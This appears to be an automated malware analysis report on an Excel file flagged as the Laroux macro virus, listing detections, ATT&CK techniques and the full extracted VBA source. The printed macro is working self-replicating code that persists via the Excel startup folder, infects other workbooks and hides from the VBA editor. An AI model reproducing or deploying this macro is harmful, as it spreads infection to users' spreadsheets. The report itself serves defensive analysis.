MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file contains a VBA macro with an Auto_Open subroutine, indicating it is designed to execute automatically upon opening. The macro attempts to establish persistence by copying itself to the Excel startup folder as 'StartUp.xls'. It also manipulates application events and keyboard shortcuts to potentially evade analysis or detection. The presence of the Auto_Open macro and the persistence mechanism strongly suggest malicious intent, though the specific payload or ultimate goal is not evident from the provided script.
Heuristics 3
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ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1606 bytes |
SHA-256: 79b21a7c777209cbed010937c211fa50ce8f1a7a563e8469017a43761e814fcd |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub
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